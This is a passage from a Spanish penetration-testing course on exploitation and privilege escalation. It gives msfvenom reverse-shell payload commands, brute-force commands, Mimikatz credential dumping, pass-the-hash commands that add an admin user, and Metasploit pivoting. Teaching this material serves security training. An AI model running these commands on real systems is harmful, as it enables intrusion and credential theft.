compatible con arquitecturas de 32 bits, esto último seleccionado por defecto al no haberlo
especificado previamente en el comando:
ENLACE
En el ejemplo anterior se observa que hay presencia de caracteres nulos, que pueden provocar que
nuestro shellcode sea ejecutado. Msfvenom permite la generación de shellcodes sin este tipo de
caracteres. Además, en el siguiente ejemplo se va a utilizar la opción para codificar el shellcode
generado:
ENLACE
Generación de payloads ejecutables
Este tipo de payloads pueden ser usados como parte de ataques client-side, backdoors o como
método de para pasar un payload de una máquina a otras.
A continuación, se listan los diferentes tipos de payloads ejecutables posibles:
12/45
Binarios
Basados en Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=

<Your Port to Connect On> -f elf > shell.elf
Basados en Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=

<Your Port to Connect On> -f exe > shell.exe
Basados en Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f macho > shell.macho
Web Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=

<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=

<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f war > shell.war
13/45
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port

to Connect On> -f raw > shell.pl
1.8. Tipos de shells
Bind
El atacante establece la conexión, el shellcode se llama bindshell porque el shellcode se une a un

determinado puerto en la máquina de la víctima.
Reverse
El shellcode establece la conexión, se denomina " reverse shell " o connect-back shellcode porque el
shellcode se conecta a la máquina del atacante.
Reuse-socket
Este tipo de shellcode es mucho menos común. A veces se usa cuando un exploit establece una
conexión con el proceso vulnerable que no se cierra antes de ejecutar el shellcode. El shellcode puede
entonces volver a usar esta conexión para comunicarse con el atacante. La utilización de shellcode es
más elaborada, ya que el shellcode necesita saber qué conexión emplear para volver a usar y la
máquina puede tener muchas conexiones abiertas.
Lectura recomendada:
https://www.offensive-security.com/metasploit-unleashed/
14/45
II. Escalada de privilegios
2.1. Introducción
Una vez completada la fase de explotación y habiendo obtenido un acceso en el sistema remoto, es
posible que el acceso que se ha logrado no disponga de los privilegios adecuados para realizar ciertas
operaciones.
Es en este momento cuando entra en juego la fase de elevación de privilegios, en la que se intenta,
mediante varias técnicas, conseguir un acceso con mayores privilegios que no suponga ningún
impedimento a la hora de poder ejecutar todo tipo de operaciones en el sistema remoto.
2.2. Teoría
El concepto de escalada de privilegios es el resultado de acciones que permiten a un adversario
obtener un mayor nivel de permisos en un sistema o red a partir de un acceso más restringido.
Ciertas herramientas o acciones requieren un mayor nivel de privilegio para poder ejecutarse. No
disponer de los privilegios adecuados puede impedir la operativa de las mismas y, por tanto, el éxito en
mayor o menor medida del compromiso del equipo remoto.
Existen numerosas tácticas para lograr la elevación de privilegios. A continuación, se enumeran las
más comunes.
Fallos en la configuración
En este apartado se incluirían todas las técnicas utilizadas que se aprovechen de un defecto en la
configuración de las aplicaciones, protocolos, tecnologías, etc. Por ejemplo, el uso de contraseñas por
defecto, una mala gestión de los permisos de acceso o modificación de ficheros sensibles, etc.
Debilidades en los mecanismos de autenticación o autorización
Engloba todos los fallos o vulnerabilidades en los mecanismos de autorización. Por ejemplo, que
pueda evadirse el sistema de autenticación de una determinada aplicación o servicio. También se
incluyen fallos o vulnerabilidades en los mecanismos de autorización como que no se compruebe la
autorización de un usuario al acceder a un recurso, que se pueda engañar al sistema de autorización
para que crea que somos un usuario con mayores privilegios, etc.
Ejecución de exploits de escalada de privilegios:
Consiste en la ejecución de exploits, en su mayoría, disponibles de manera pública, que

proporcionan una elevación de privilegios aprovechando alguna vulnerabilidad conocida presente en
el sistema.
15/45
Inyección en procesos
Su objetivo consiste en intentar inyectar las operaciones deseadas en un proceso que disponga de
privilegios elevados. De esta manera, la operación será ejecutada por el proceso con los privilegios
elevados de los que dispone.
Modificación de servicios
De la misma manera que la técnica anterior, este procedimiento consiste en localizar servicios que
se ejecuten con privilegios elevados, con la finalidad de intentar modificarlos para que realicen las
operaciones elevadas. Dado que las operaciones serán realizadas por el propio servicio, se ejecutarán
con los privilegios elevados del mismo.
Averiguar las credenciales de un usuario privilegiado
Incluye técnicas para averiguar las credenciales de un usuario que disponga de privilegios elevados.
Para ello, se realizan ataques de fuerza bruta, que consisten en probar posibles combinaciones de la
contraseña o usuario/contraseña, sobre una determinada aplicación o servicio hasta que localizan la
contraseña utilizada por el usuario.
Reutilización de hashes o tokens de sesión de usuarios privilegiados
Su objetivo consiste en tratar de capturar y reutilizar hashes de contraseñas o tokens de sesión, de

usuarios privilegiados con la finalidad de reutilizarlos e impersonar al usuario legítimo.
2.3. Escalando privilegios con Metasploit

Aunque ya se presentó el uso de este framework en la fase de explotación, en este apartado se
mostrará el uso de Metasploit únicamente con la finalidad de escalar privilegios en un sistema remoto.
2.3.1. Utilizando meterpreter
Meterpreter es una shell incluida en Metasploit para poder acceder a un equipo remoto o incluso local,
que ha sido comprometido.
Además de proporcionar una consola de comandos remota en el sistema comprometido, dispone de

muchas más funcionalidades como módulos específicos para la recopilación de información del sistema
comprometido, volcar contraseñas disponibles en la memoria RAM del equipo comprometido,
transferencia de fichero al equipo remoto, módulos para pivotar a la red interna, etc.
Dentro de todo el abanico de módulos disponibles, existe una funcionalidad especifica getsystem que
trata de realizar una elevación de privilegios en los sistemas comprometidos que estén ejecutando ciertas
versiones de Microsoft Windows y que no se encuentren debidamente parcheados.
16/45
Para acometer esta tarea, puede utilizar 4 técnicas diferentes, si invocamos la ayuda del módulo
podremos ver las técnicas utilizadas y el método de invocación.
Imagen 3.4. Técnicas y métodos de invocación en meterpreter.

Fuente: captura de la herramienta meterpreter.
En caso de no forzar el intento de elevación de privilegios con ninguna técnica en concreto, el módulo
getsystem intentará elevar privilegios de manera consecutiva hasta que se consiga elevar privilegios con
alguna de las técnicas disponibles.
En la siguiente ilustración se comprueba cómo se ha realizado una elevación de privilegios mediante

la técnica “Named Pipe Impersonation (In Memory/Admin)”.
Imagen 3.5. Elevación de privilegios mediante la técnica 1.

2.3.2. Utilizando exploits específicos
En ciertas ocasiones, dependiendo de la versión del sistema operativo y el nivel de parcheo del mismo,
no es posible realizar una elevación de privilegios mediante el módulo incluido en la shell de
meterpreter.
En estos casos, es necesario utilizar algún exploit de elevación de privilegios que se ejecutará a través
del canal de comunicaciones ya establecido por meterpreter, pero que utilizará alguna vulnerabilidad
conocida para elevar privilegios distinta a las que ya incluye el propio meterpreter. A continuación, se
muestran los distintos exploits disponibles para la elevación de privilegios locales en un sistema
Microsoft Windows.
17/45
Imagen 3.6. Uso de los exploits específicos en meterpreter.

A modo de ejemplo, utilizaremos el exploit ms10_015_kitrap0d, dado que la ejecución se realiza

fuera de meterpreter, pero necesitamos mantener la comunicación con el sistema remoto, ponemos la
sesión de meterpreter en background.
Imagen 3.7. Sesión de meterpreter en segundo plano.

Seleccionamos el exploit que se va a ejecutar y se configuran las opciones necesarias:
Sesión de meterpreter sobre la que ejecutar el exploit local.

Payload que se ejecutará tras la explotación de la vulnerabilidad y la dirección IP y puerto a la
que se conectará de manera inversa.
18/45
Imagen 3.8. Configuración de opciones en meterpreter.

Como podemos comprobar, al ejecutar el exploit, este utilizará la sesión de meterpreter que dejamos
e n background para lanzar el exploit, el cual elevará privilegios y nos devolverá una nueva sesión de
meterpreter, pero con privilegios elevados de nt authority\system
19/45
Imagen 3.9. Elevación de privilegios en meterpreter.

2.4. Exploits de escalada de privilegios en local

Aunque el framework de Metasploit resulta bastante funcional, existen ciertas casuísticas en las cuales
no es posible utilizarlo. Por ejemplo, en caso en que se requiera elevar privilegios locales en un equipo al
que tenemos acceso físicamente. Otra casuística es que el exploit que necesitemos utilizar para elevar
privilegios no se encuentre disponible en Metasploit.
Es posible localizar bastantes exploits funcionales en ciertas fuentes (como por ejemplo exploit-
db.com o realizando una búsqueda con la herramienta searchsploit). Estos se aprovechan de alguna
vulnerabilidad conocida para realizar una elevación de privilegios.
Como contrapartida, la morfología de estos exploits es bastante heterogénea, pueden estar

desarrollados en diferentes lenguajes de programación, estar documentados o no, ser versiones
funcionales o pruebas de concepto que necesitan modificarse para que sean funcionales en nuestro
entorno objetivo, etc.
A continuación, se muestra a modo de ejemplo la ejecución de un par de exploits de elevación de

privilegios sobre los sistemas operativos Microsoft Windows y Linux.
2.4.1. Elevación de privilegios en Microsoft Windows
A continuación, se muestra la ejecución de un exploit de elevación de privilegios locales, en sistemas

Windows XP y 2003 Server, que se aprovecha de una vulnerabilidad conocida en el proceso afd.sys ( htt
ps://www.exploit-db.com/exploits/18176/).
Este exploit está desarrollado en lenguaje Python, de esta manera, se podrá ejecutar directamente en el
sistema objetivo siempre que tenga instalado el intérprete de Python. En caso que el intérprete no se
encuentre instalado, se deberá compilar con Python el exploit para que produzca un fichero binario .exe
que integraría el propio motor de Python, para ser ejecutado en cualquier sistema sin necesidad de
disponer del intérprete de Python previamente instalado.
A continuación, se muestra la ejecución del exploit mediante la siguiente invocación.
MS11-080.py -O 2k3
Como se puede apreciar, se han obtenido privilegios de nt authority\system
20/45
Imagen 3.10. Elevación de privilegios de nt authority\system.

Fuente: captura del escritorio de Microsoft Windows.
2.4.2. Elevación de privilegios en Linux
De manera similar, en este caso, se muestra la ejecución de un exploit de elevación de privilegios

locales, en distribuciones Linux con versiones de Kernel comprendidas entre 2.4.4 y 2.4.37.4 o versiones
entre 2.6.0 y 2.6.30.4 que se aprovecha de una vulnerabilidad conocida en el sistema SELinux (https://w
ww.exploit-db.com/raw/9545/)
Dado que este exploit está desarrollado en lenguaje C, será necesario compilarlo según las
instrucciones indicadas en los propios comentarios existentes en el código fuente del exploit.
Imagen 3.11. Elevación de privilegios en Linux.

Fuente: captura de Kali Linux (https://www.kali.org/).
Como podemos comprobar, en el sistema objetivo disponemos de una sesión remota con un usuario
menos privilegiado apache:
Imagen 3.12. Sesión remota en el sistema objetivo.

21/45
Transferimos el exploit previamente compilado al sistema remoto y lo ejecutamos.
Como se puede comprobar, tras la ejecución del exploit, la shell previamente establecida pasa a tener
privilegios elevados como usuario root.
Imagen 3.13. Elevación de privilegios en Linux.

Para ampliar conocimientos, se sugiere la siguiente lectura: https://blog.g0tmi1k.com/2011/08

/basic-linux-privilege-escalation/ y el estudio del siguiente script:
https://www.securitysift.com/download/linuxprivchecker.py
2.5. Fuerza bruta de credenciales

Este tipo de ataques consiste en automatizar el proceso de autenticación sobre un determinado servicio
o aplicación con la finalidad de ir probando posibles combinaciones de contraseñas o usuario/contraseña,
hasta averiguar las credenciales de acceso de algún usuario privilegiado.
Dependiendo de la tipología de la infraestructura, es posible que existan mecanismos de protección

contra este tipo de ataques que interrumpen la conexión si detectan que se están realizando un número de
peticiones determinado en un intervalo de tiempo. En estos casos, es necesario comprobar, durante las
fases de enumeración y escaneo, si existe algún sistema de protección que actúe de esta manera, con la
finalidad de ajustar la intensidad con la que se realizan las pruebas para intentar que pasen
desapercibidas.
En este tipo de técnicas, las probabilidades de éxito de localizar credenciales válidas dependen, en
gran medida, de la utilización de un buen diccionario de posibles contraseñas para probar. Además, la
utilización de un buen diccionario limita el número de peticiones qe se van a realizar y reduce el tiempo
necesario para localizar las contraseñas.
22/45
Existen varias aplicaciones para realizar este tipo de pruebas, cada una de ellas tiene ciertas
características como la compatibilidad con ciertos protocolos o la eficiencia de las mismas en cuanto a la
cantidad de distintas contraseñas por minuto que puede comprobar, etc. En los siguientes apartados se
enumeran algunas de ellas.
2.5.1. Medusa
Es considerada como una herramienta de fuerza bruta bastante rápida, con posibilidad de paralelismo,
utilizada en ataques masivos. Los servicios sobre los que esta herramienta puede operar se encuentran en
el directorio de módulos de la misma (/usr/lib/medusa/modules/):
cvs.mod mysql.mod postgres.mod smtp.mod telnet.mod
ftp.mod ncp.mod rexec.mod smtp-vrfy.mod vmauthd.mod
http.mod nntp.mod rlogin.mod snmp.mod vnc.mod
imap.mod pcanywhere.mod rsh.mod ssh.mod web-form.mod
mssql.mod pop3.mod smbnt.mod svn.mod wrapper.mod
Por ejemplo, para realizar pruebas sobre un determinado directorio web protegido mediante
htaccess se utilizaría el siguiente comando:
medusa -h TARGET_IP -u USUARIO -P FICHERO_PASSWORD -M http -m

DIR/admin -T 10
medusa -h 192.168.10.2 -u root -P password.txt -M http -m DIR/admin -T 10
De manera similar, si queremos probar una única contraseña débil sobre un listado de usuarios,
utilizaríamos el siguiente comando:
medusa -h TARGET_IP -U LISTADO_DE_USUARIOs -p Marzo2018 -M http -m

DIR/admin -T 10
medusa -h 192.168.10.2 -U userlist.txt -p Marzo2018 -M http -m DIR/admin -T 10
2.5.2. ncrack
Al igual que la herramienta anterior, es bastante rápida, incorpora funcionalidades de paralelismo de

las conexiones.
A continuación, se muestra el comando utilizado para realizar un ataque de fuerza bruta sobre el
protocolo RDP.
ncrack -vv --user USUARIO -P LISTADO_DE_PASSWORDS rdp://IP
ncrack -vv --user offsec -P password_list.txt rdp://192.168.10.2
23/45
Por el contrario, en este otro ejemplo, se muestra el comando utilizado para realizar un ataque de
fuerza bruta sobre el protocolo SSH:
ncrack -p 22 --user root -P 500-worst-passwords.txt 192.168.10.2
2.5.3. hydra
Es parecida a las herramientas anteriores, se recomienda su uso para hacer fuerza bruta sobre las
community string de SNMP.
El siguiente comando muestra la ejecución de un ataque de fuerza bruta, sobre el protocolo snmp, para
averiguar las community strings que proporcionan acceso al servicio.
hydra -P LISTADO_PASSWORDS -v TARGET_HOST protocolo
hydra -P password-file.txt -v 192.168.11.219 snmp
2.5.4. patator
Dispone de un sistema de módulos que soporta la iteración con bastantes protocolos. Aunque la forma
de operar con esta herramienta difiere de las anteriores, es la que más opciones de configuración ofrece,
permitiendo establecer las condiciones necesarias para evaluar la respuesta emitida por el equipo remoto
y considerar si las credenciales introducidas son correctas.
A continuación, se muestra un ejemplo en el que se realiza un ataque de fuerza bruta sobre el

servicio FTP para enumerar nombres de usuario válidos que se encuentren en un listado de usuarios
proporcionado en un fichero. Además, se indica que, si el servidor devuelve el mensaje ‘ Login
incorrect’, se considera que el usuario probado no es válido en el sistema remoto.
ENLACE
En este otro ejemplo, la herramienta trata de averiguar usuarios válidos en el servicio SSH
utilizando una regla basada en el tiempo. Se configura para que, si el servidor SSH devuelve cualquier
respuesta antes de 3 segundos, se considere que el usuario probado no es un usuario válido del
sistema.
ENLACE
24/45
Para terminar, en este caso, la herramienta comprueba si es posible autenticarse en el protocolo

SNMP mediante el usuario “robert” con alguna de las contraseñas que se encuentran en el fichero
“passwords_8.txt”.
ENLACE
2.6. Extracción de credenciales mediante Mimikatz
Mimikatz es una herramienta de código abierto que permite extraer de la

memoria contraseñas en texto plano, hash de contraseñas, tickets de
Kerberos, certificados no exportables, etc.
Está estructurado en distintos módulos, cada uno con varias funcionalidades diferentes para extraer la
información de autenticación que permanezca en memoria.
Para ejecutar correctamente la mayoría de los módulos, es necesario iniciar Mimikatz desde un
usuario privilegiado. En caso contrario, Mimikatz no podrá ejecutar ciertas operaciones reservadas a
usuarios con más privilegios en el sistema.
A continuación, se muestran varias técnicas para extraer de la memoria contraseñas en texto plano,
hashes de contraseñas y tickets de Kerberos. Cualquiera de las opciones mencionadas puede ser utilizada
para autenticarse en un sistema impersonando al usuario legítimo.
2.6.1. Recuperar contraseñas en texto plano
Mimikatz puede recuperar de la memoria las contraseñas en texto plano de los usuarios que hayan
iniciado sesión en el sistema objetivo desde la última vez que se reinició, para ello necesita inyectarse en
el proceso LSASS, para lo cual necesitamos haber iniciado Mimikatz desde una sesión de un usuario
privilegiado.
Para comprobar si se disponen de los privilegios necesarios, se puede utilizar el método privilege de
Mimikatz con la funcionalidad debug:
mimikatz # privilege::debug
Privilege '20' OK
Una vez que comprobamos que disponemos de los privilegios asociados, invocamos al método
sekurlsa con la funcionalidad logonpasswords.
A continuación, se muestra la invocación del comando y cómo se obtienen las credenciales de los
usuarios que hubiesen iniciado sesión, en texto plano.
ENLACE
25/45
2.6.2. Exportar tickets de Kerberos
Los tickets de Kerberos son unos identificadores de sesión, utilizados en las infraestructuras Microsoft
que autentican a un usuario en el sistema local o en sistemas remotos. De tal manera, si se puede extraer
cualquiera de estos tickets, siempre que siga teniendo validez, podremos autenticarnos con él
suplantando la identidad del usuario legítimo.
Al igual que en el ejemplo anterior, Mimikatz puede recuperar de la memoria tickets de autenticación
de Kerberos de todas las sesiones presentes en el sistema objetivo. Para ello también necesita inyectarse
en el proceso LSASS, para lo cual necesitamos haber iniciado Mimikatz desde una sesión de un usuario
privilegiado.
Para poder exportar estos tickets, invocamos al método sekurlsa con la funcionalidad tickets,
indicando además el operador /export para que los tickets se exporten a un fichero.
A continuación, se muestra la invocación del comando y cómo se obtienen las credenciales de los
usuarios que hubiesen iniciado sesión, en texto plano.
ENLACE
2.6.3. Exportar fichero SAM
El fichero SAM contiene los hashes de las contraseñas de los usuarios locales del sistema. Es un
archivo protegido y no es posible acceder a su contenido mientras el sistema operativo se encuentra en
ejecución, dado que en ciertos servicios podemos realizar una autenticación mediante el usuario y el hash
de su contraseña, pudiendo impersonar al usuario legítimo.
Además, estos hashes podrían ser revertidos, mediante el uso de técnicas de cracking, a la contraseña
en claro del usuario.
En este caso, para poder exportar el contenido del fichero SAM, además de haber iniciado sesión
con un usuario privilegiado, es necesario obtener privilegios de NT AUTHORITY\SYSTEM. Esta
operación de obtener privilegios elevados la puede ejecutar directamente Mimikatz a través del
método token con la funcionalidad elevate.
A continuación, se muestra el flujo de operaciones necesarias para realizar esta elevación de

privilegios desde Mimikatz.
ENLACE
26/45
Una vez que se ha realizado esta elevación de privilegios, es posible acceder al contenido del
fichero SAM en memoria. Para acometer esta tarea se ha de invocar al módulo lsadump con la
funcionalidad sam.
A continuación, se muestra el resultado de acceder al contenido del fichero sam, en el que se

muestra el hash NTLM de la contraseña de cada usuario local del sistema.
ENLACE
2.7. Autenticación mediante técnicas “Pass the Hash”

Esta técnica radica en que, en ciertos servicios de Microsoft, es posible realizar la autenticación de un
usuario utilizando el hash LM o NTLM de su contraseña. De esta manera, no es necesario conocer la
contraseña real del mismo.
La principal ventaja radica en que, si logramos acceder a los hashes LM o NTLM de las contraseñas
de los usuarios, no es necesario averiguar estas contraseñas mediante técnicas de cracking que,
dependiendo del equipamiento informático dónde se realicen, podrían tardar entre varias horas y varios
días en averiguar ciertas credenciales a texto plano.
Existen varias herramientas que nos permiten utilizar la técnica de Pass the Hash . A continuación, se
enumeran algunos ejemplos.
2.7.1. Pass the Hash con Metasploit
Existen varios módulos de Metasploit que permiten autenticar a un usuario indicando el hash de su
contraseña.
Por ejemplo, el siguiente módulo auxiliar smb_login comprueba las máquinas remotas donde el
usuario tiene privilegios para hacer login. En este caso, se indica el hash NTLM del usuario para realizar
la autenticación.
Imagen 3.14. Pash the Hash en Metasploit.

Fuente: captura de la herramienta Metasploit.
2.7.2. Pass the Hash con Mimikatz
27/45
Mimikatz implementa la posibilidad de ejecutar un comando en un equipo remoto mediante la técnica

de Pass the Hash .
sekurlsa::pth /user:nombre_de_usuario /domain:nombre_de_dominio.local

/ntlm:hash_de_tipo_ntlm /run:comando_a_ejecutar
En caso que no se le indique ningún comando para ejecutar, Mimikatz abrirá una shell cmd (en el
equipo local) con los privilegios del usuario indicado.
A continuación, se muestra un ejemplo de la ejecución de dicho proceso:
mimikatz # sekurlsa::pth /user:pdulce /domain:hf.com

/ntlm:426bfc925a85fdb346c6d5b871e6c466
Imagen 3.15. Pash the Hash con Mimikatz.

Fuente: captura de la herramienta Mimikatz.
2.7.3. Pass the hash con pth-toolkit
28/45
Existe una completa suite pth-toolkit que implementa la ejecución de varias herramientas que
permiten la ejecución de ordenes en el sistema remoto realizando la autenticación mediante el hash
NTLM. A continuación, se muestra el listado completo.
pth-curl
pth-net
pth-rpcclient
pth-smbclient
pth-smbget
pth-sqsh
pth-winexe
pth-wmic
pth-wmis
Por poner algún ejemplo, el comando pth-winexe, es capaz de ejecutar un comando en el equipo
remoto, utilizando el hash NTLM de un usuario dado.
Por ejemplo, para ejecutar un cmd en la máquina remota y que se nos devuelva una shell inversa en
nuestra máquina, se utilizaría el siguiente comando:
pth-winexe -U
Administrator%d7a2630a9ecc4aff186fc03070888283:480d1d426fe52721b915e7870c9e1a8f
//192.168.52.151 cmd.exe
Imagen 3.16. Pash the Hash en Linux.

Fuente: captura de Kali Linux.
De manera similar, también es posible ejecutar los comandos net de Microsoft Windows en el sistema
remoto mediante pth-net e indicando los hashes como en el caso anterior. En este caso se crea un nuevo
usuario y se añade al grupo de administradores locales de la máquina.
pth-net user Usuario1 mysecretpassword /add -I 192.168.1.1
29/45
pth-net localgroup administrators Usuario1 /add
2.7.4. Autenticándonos en escritorio remoto con Pass the Hash
También es posible autenticarnos con el hash NTLM de un usuario mediante el escritorio remoto, para
ello debemos utilizar la herramienta freerdp.
apt-get install freerdp-x11
freerdp /u:user /d:domain /pth:password /v:remote
En la siguiente imagen se puede apreciar la ejecución de la operación y la autenticación en el escritorio

remoto.
Imagen 3.17. Operación y autenticación en el escritorio remoto.

2.7.5. Utilizando Pass the Hash en scripts de nmap
De la misma manera, se pueden utilizar los hashes NTLM en scripts de nmap para realizar la
autenticación de los mismos en el sistema remoto.
nmap -p U:137,T:139 –script-args

‘smbuser=mike,smbhash=8846f7eaee8fb117ad06bdd830b7586c’ –script=smb-enum-groups –
script=smb-enum-users 192.168.52.151
2.8. Password cracking
30/45
La técnica de password cracking consiste en intentar utilizar los hashes de

las contraseñas para averiguar las contraseñas en texto claro.
Por definición, un hash no se puede revertir a su contraseña en texto claro, la única manera de
averiguar la contraseña inicial con la que se generó ese hash consiste en probar posibles combinaciones
de contraseñas y aplicar el mismo algoritmo de hash empleado por el protocolo de hashing utilizado para
almacenar la contraseña. En caso que los hashes coincidan, significará que habremos averiguado la
contraseña, ya que genera el mismo hash.
Existen varias aplicaciones que pueden realizar cracking de distintos tipos de hashes, pero a
continuación mostramos las más utilizadas debido a la cantidad de algoritmos de hashes que soportan,
posibilidad de paralelismo o capacidades de utilizar procesamiento GPU para realizar los cálculos de
hashing.
2.8.1. Jhon the ripper
John the ripper es una herramienta de cracking de contraseñas. Existen 2

versiones, la versión normal y la versión jumbo o community, que soporta
muchos más algoritmos de hashing para realizar el proceso de cracking.
Además, soporta paralelización de procesos, pudiendo indicar el número de cores de CPU que se le
asignan al proceso de cracking.
Otra opción interesante, es que soporta permutaciones de una misma contraseña, es decir, se pueden
indicar reglas específicas para que realice una serie de transformaciones a cada contraseña del
diccionario especificado y probar variaciones de la contraseña como, por ejemplo:
Sustituir letras minúsculas por mayúsculas.

Añadir dígitos.
Añadir símbolos.
Sustituir letras y números por símbolos.
A continuación, se muestra un comando de ejemplo que inicializa el proceso de cracking de hashes

NTLM con John indicando un diccionario de posibles contraseñas e indicando que siga las reglas de
permutaciones de contraseñas de Korelogic.
john --format=NT --rules -w=/usr/share/wordlists/rockyou.txt hashfile.txt
john –format=NT –rules=korelogic -—wordlist=/usr/share/wordlist/rockyou.txt

hashes_NTLM.txt
La siguiente captura de pantalla muestra un ejemplo de uso de John the ripper en el que se realiza un
proceso de cracking de contraseñas sobre unos hashes NTLM utilizando 2 cores para el proceso e
indicando que se utilicen todas las reglas disponibles para realizar permutaciones de las contraseñas.
31/45
Imagen 3.18. Uso de John the ripper.

2.8.2. hashcat
Como las anteriores, hashcat es una herramienta de cracking de contraseñas. Soporta muchos más
algoritmos de hashing que John para realizar el proceso de cracking, lo cual la dota de mayor
versatilidad.
Además, soporta el uso de procesamiento GPU, utilizado en las tarjetas gráficas, mucho más rápido
que el uso de procesadores CPU convencionales.
Una curiosidad es que en hashcat se indica el tipo de algoritmo de hash con el parámetro -m
seguido de un identificador numérico que indica el algoritmo de hash que se va a utilizar. Al invocar
la ayuda de hashcat, se muestran los tipos de algoritmos soportados:
ENLACE
El siguiente ejemplo muestra el proceso de cracking de una serie de hashes incluidos en el fichero
hash.ntlm.txt, probando las contraseñas almacenadas en el fichero dictionary.txt e indicando en el
parámetro -m 1000 que los hashes se encuentran en formato NTLM.
ENLACE
32/45
Otra opción interesante, es que soporta la posibilidad de probar contraseñas en base a una máscara
en la cual se puede indicar la longitud mínima y máxima de las contraseñas para probar, y el tipo de
dígito que podrá tener en cada posición. El uso de máscaras trata de emular el tipo de contraseñas que
generan los usuarios convencionales basándose en la política de generación de contraseñas presente
en el sistema.
A continuación, se muestra la equivalencia de cada opción de máscara con el charset al que hace
referencia.
ENLACE
Siguiendo la leyenda anterior, el siguiente ejemplo intenta realizar el cracking de unos hashes NTLM
indicados en el fichero ntlm.hp, generando contraseñas que constan de una primera letra mayúscula,
seguido de 7 letras minúsculas y 4 dígitos al final de la contraseña.
Imagen 3.19. Cracking de hashes NTLM en hashcat.

Fuente: captura de la herramienta hashcat.
2.9. Pivoting con meterpreter
Pivotar es la técnica única de usar una instancia para poder "moverse"

dentro de una red. La finalidad del pivoting es comprometer a otras
máquinas de la red a la que pertenece un sistema ya comprometido. Como
no se puede acceder directamente a ellas, se usa la máquina comprometida
para recolectar información y lanzar exploits.
33/45
Vamos a poner como ejemplo la explotación de la vulnerabilidad Aurora, una vulnerabilidad que
compromete la memoria, presente en Internet Explorer.
Para ello vamos a utilizar el módulo de Metasploit exploit/windows/browser/ms10_002_aurora, que

explota un defecto de corrupción de memoria en Internet Explorer.
Esta vulnerabilidad fue un componente clave de los ataques de la "Operación Aurora" que
condujeron al compromiso de un número de compañías de alto perfil. El código de explotación es un
puerto directo de la muestra pública publicada en el sitio de análisis de malware de Wepawet. La
técnica utilizada por este módulo puede explotar únicamente Internet Explorer 6 de forma fiable.
Imagen 3.20. Código de explotación.

34/45
Cuando un usuario visita la URL maliciosa que hemos creado, se crea una sesión de meterpreter
que nos proporciona acceso completo al sistema.
Imagen 3.21. Sesión de meterpreter.

Una vez nos conectamos a la sesión de meterpreter que se ha creado, hacemos un ipconfig y vemos
que el sistema vulnerado es dual, se comunica con diferentes redes dentro de una organización.
Imagen 3.22. Comunicación con redes.

35/45
A continuación, vamos a utilizar la información recién descubierta y atacar la red adicional.

Metasploit tiene un script de autoroute meterpreter que nos permitirá atacar esta segunda red a través
de nuestra primera máquina comprometida.
Imagen 3.23. Ataque a redes.

Ahora que hemos agregado nuestra ruta adicional, escalaremos a SYSTEM, volcaremos los hashes
de contraseñas y pondremos en segundo plano nuestra sesión de intérprete de medidores presionando
Ctrl-z.
Imagen 3.24. Escalar, volcar y poner en segundo plano.

36/45
Ahora tenemos que determinar si hay otros sistemas en esta segunda red que hemos descubierto.
Usaremos un escáner básico de puertos TCP para buscar los puertos 139 y 445.
Imagen 3.25. Escaner básico de puertos TCP.

37/45
Una vez que hemos descubierto un host con los puertos 139 y 445 abiertos, vamos a utilizar el
módulo de psexec con los hashes que hemos obtenido anteriormente.
Imagen 3.26. Módulo de psexec.

Imagen 3.27. Módulo de psexec.

38/45
El ataque ha sido exitoso, hemos creado una nueva sesión de meterpreter sobre el objetivo que se
conecta a través del sistema que vulneramos anteriormente. Para comprobar que estamos en dicha
máquina, ejecutaremos un ifconfig para verificarlo:
Imagen 3.28. Verificación.

Como hemos podido observar, pivotar es una característica extremadamente poderosa y es una
capacidad crítica para tener en las pruebas de penetración.
III. Resumen
En esta unidad hemos estudiado las fases de explotación y escalada de privilegios.
Como hemos visto, para la fase de explotación es esencial saber que un exploit se utiliza para
conseguir un comportamiento específico de un sistema de información aprovechando una vulnerabilidad
de seguridad. Respecto a esto, también hemos estudiado diferentes tipos, vectores de entrada, en qué
consiste un sellcode, diferentes tipos y su generación, etc.
En cuanto a la escalada de privilegios, hemos aprendido que existen diferentes tácticas para realizarla
y que tenemos a nuestra disposición varias herramientas que nos ayudarán a llevar a cabo esta tarea.
Además, hemos estudiado la escalada de privilegios en diferentes formatos.
Por ejemplo: en local (Windows y Linux), mediante fuerza bruta empleando diferentes
herramientas y empleando técnicas Pass the Hash , entre otras.
39/45
Recursos
Enlaces de Interés
https://nmap.org/zenmap/
ZenMap (recopilación de herramientas usadas)
http://xforce.iss.net
Xforce (recopilación de herramientas usadas)
https://wpscan.org/
WPScan (recopilación de herramientas usadas)
https://www.wireshark.org/
Wireshark (recopilación de herramientas usadas)
https://www.whois.net/
Whois (recopilación de herramientas usadas)
https://github.com/scipag/vulscan
Vulscan (recopilación de herramientas usadas)
https://github.com/laramies/theHarvester
theHarvester (recopilación de herramientas usadas)
https://github.com/rbsec/sslscan
SSLscan (recopilación de herramientas usadas)
https://www.shodan.io/
Shodan (recopilación de herramientas usadas)
http://www.securitytracker.com
Securitytracker (recopilación de herramientas usadas)
http://www.securityfocus.com/bid/
Securityfocus (recopilación de herramientas usadas)
https://github.com/sygo/searchsploit
Searchsploit (recopilación de herramientas usadas)
https://www.robtex.com/
Robtex (recopilación de herramientas usadas)
https://www.ripe.net/
Ripe (recopilación de herramientas usadas)
40/45
Recon-ng (recopilación de herramientas usadas)
https://www.qualys.com/solutions/web-app/
Qualys web-app (recopilación de herramientas usadas)
https://www.ssllabs.com/
